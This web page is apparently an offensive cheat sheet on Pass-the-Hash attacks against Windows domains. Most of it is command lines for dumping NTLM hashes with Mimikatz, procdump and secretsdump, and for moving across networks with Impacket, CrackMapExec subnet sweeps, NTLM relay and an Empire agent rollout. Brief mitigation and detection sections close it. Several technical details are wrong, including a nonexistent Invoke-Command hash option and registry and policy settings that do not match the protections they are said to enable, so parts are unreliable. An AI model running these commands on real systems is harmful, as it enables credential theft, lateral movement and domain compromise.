🧠 Description

Pass-the-Hash (PtH) is a credential theft and lateral movement technique that allows an attacker to authenticate to a remote server using the NTLM hash of a user's password instead of the actual password. This works because Windows authentication protocols accept the hash directly.

Why PtH Works:
  • Hash Reuse: Windows caches and reuses password hashes for authentication
  • No LM Hash Conversion: Older protocols allow direct hash authentication
  • Credential Manager: Stores hashes in memory for single sign-on
  • LSA Access: Allows extraction of cached credentials
  • Protocol Design: NTLM doesn't salt or derive keys from password

Attack Flow:

  1. Obtain NTLM hash (via lsass dump, SAM extraction, etc.)
  2. Use hash to authenticate to remote system via SMB, WMI, RDP, etc.
  3. Remote system validates hash against stored hash in NTDS.dit or SAM
  4. Gain code execution as that user on target system

🔍 Hash Extraction

From LSASS Process:

# Mimikatz - classic lsass dump
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:username /domain:domain.com /ntlm:ntlmhash

# Using procdump (for credentials only)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

# Using lsass protection bypass
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit"

From SAM Database:

# Local SAM extraction
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

# From registry
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Then offline extraction with secretsdump.py

# Using volality (memory dump analysis)
volatility -f memory.dmp --profile=Win10x64 hashdump

From NTDS.dit (Domain Controllers):

# Using Impacket
python3 secretsdump.py domain.com/username:password@dc01.domain.com

# Using CrackMapExec
crackmapexec smb 10.10.10.100 -u username -H ntlmhash --local-auth

# Extract with ntdsutil
ntdsutil "activate instance ntds" "ifm" "create full C:\ntds" quit quit

# Then parse with secretsdump offline

From Cached Credentials:

# WDigest credentials (if enabled)
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit"

# Cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Kerberos TGT/TGS tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

💣 Pass-the-Hash Execution

Mimikatz Pass-the-Hash:

# Direct PtH with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:corp.com /ntlm:aad3b435b51404eeaad3b435b51404ee:hash" "exit"

# This creates a new process with the stolen identity
# You can then use dir \\target\c$ or other SMB operations

Impacket (Linux):

# psexec style
python3 psexec.py -hashes ntlmhash domain.com/username@target.corp.com

# WMI execution
python3 wmiexec.py -hashes ntlmhash domain.com/username@target.corp.com

# SMB exec
python3 smbexec.py -hashes ntlmhash domain.com/username@target.corp.com

# Over Pass-the-Hash (convert to ticket)
python3 goldenPac.py domain.com/username@target.corp.com

CrackMapExec:

# Execute commands via SMB
crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash -x "whoami"

# Execute with command output
crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash -X "ipconfig"

# Login with hash
crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash --local-auth

# Using password spray results
crackmapexec smb 10.10.10.0/24 -u admin -H ntlmhash -M mimikatz

PowerShell Remoting:

# Using Mimikatz generated ticket
$hash = "aad3b435b51404eeaad3b435b51404ee:hash"
Invoke-Command -ComputerName target -Hash $hash -ScriptBlock { whoami }

# Using PSRemoting with hash
$creds = New-Object System.Management.Automation.PSCredential("domain\user", (ConvertTo-SecureString $hash -AsPlainText -Force))
Invoke-Command -ComputerName target -Credential $creds -ScriptBlock { hostname }

# Evil-WinRM
evil-winrm -i target.corp.com -u username -H ntlmhash

RDP with Hash:

# Using xfreerdp
xfreerdp /u:username /d:domain.com /pth:ntlmhash /v:target.corp.com

# Using Mimikatz
mimikatz "privilege::debug" "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:mstsc.exe" "exit"

🛠️ Automated PtH Tools

CrackMapExec Network Wide:

# Scan entire subnet with hash
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash -x "whoami"

# Find which hosts admin has access to
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash --local-auth

# Modules for credential harvesting
crackmapexec smb 10.10.10.100 -u admin -H hash -M mimikatz
crackmapexec smb 10.10.10.100 -u admin -H hash -M lsassy

# Empire agent on all valid hosts
crackmapexec smb 10.10.10.0/24 -u administrator -H hash -e "powershell -enc ..."

Responder + NTLM Relay:

# Start responder
responder.py -I eth0 -w

# Run ntlmrelayx
python3 ntlmrelayx.py -tf targets.txt -smb2support

# Or relay to specific target
python3 ntlmrelayx.py -t 10.10.10.100 -smb2support

# Escalate with captured hashes
python3 ntlmrelayx.py -t dc01.domain.com -smb2support -c "whoami"

Invoke-TheHash:

# WMI and SMB hash reuse
Import-Module .\Invoke-TheHash.ps1

Invoke-SMBExec -Target 10.10.10.100 -Username admin -Domain corp -Hash ntlmhash -Command "cmd /c calc"

Invoke-WMIExec -Target 10.10.10.100 -Username admin -Domain corp -Hash ntlmhash -Command "cmd /c calc"

🛡️ PtH Defense Evasion

Token Manipulation:

# Using existing tokens
mimikatz "privilege::debug" "token::whoami" "token::list" "token::elevate" "token::revert" "exit"

# Run as different user
runas /user:domain\user /netonly cmd.exe

# Create new token from hash
mimikatz "sekurlsa::pth /user:admin /domain:domain /ntlm:hash" "token::whoami"

Over Pass-the-Hash (Opth):

# Get TGT from hash, then access service
mimikatz "privilege::debug" "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:cmd.exe"

# Inside new cmd, request TGS
klist
# Then access resources with Kerberos

💥 Impact

Potential Damage:
  • Full Domain Compromise: Once you have admin hash, domain is compromised
  • Pass-the-Hash to Pass-the-Ticket: Convert to Kerberos ticket
  • Persistence: Create golden ticket from krbtgt hash
  • Data Exfiltration: Access file servers, databases
  • Deploy Ransomware: Lateral movement to deploy payload

🛡️ Mitigation

✅ Primary Controls:
  • Enable Protected Process Light: Prevent lsass dump
  • Disable WDigest: Registry key to disable plaintext storage
  • Restrict NTLM: Disable on domain controllers
  • Enable Credential Guard: Hardware-based protection
  • Network Segmentation: Limit lateral movement paths
  • Rapid Response: Detect and contain compromised accounts

Enable Credential Guard:

# Via Group Policy
Computer Configuration > Administrative Templates > System > 
Device Guard > Turn On Virtualization Based Security

# Registry method
Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0
Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictRemoteClients" -Value 1

Disable WDigest:

# Disable plaintext password storage
Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0

# Or via Group Policy
Computer Configuration > Administrative Templates > 
MS Security Guide > Configure encryption oracle remediation

🔍 Detection

Windows Event Logs:

# Event ID 4624 - Logon (type 3 = network logon, used by PtH)
# Look for:
#   Logon Type: 3
#   Source Network Address: internal
#   Account Name: different from Original

# Query for suspicious logons
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} | 
    Where-Object { $_.Message -match 'Logon Type:\s+3' -and $_.Message -notmatch '127.0.0.1' }

SIGMA Rules:

# Detect suspicious credential use
title: Pass-the-Hash Attempt
id: pth-detection
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    IpAddress:
      - '10.*'
      - '192.168.*'
  filter:
    TargetUserName: 'ANONYMOUS'
  condition: selection and not filter
level: high

Sysmon Configuration:

# Sysmon Event ID 1 - Process Create
# Look for:
# - mimikatz.exe
# - procdump.exe accessing lsass
# - Rundll32 with suspicious parameters

# Sysmon config for credential monitoring

  
    lsass.exe
  
Back to Active Directory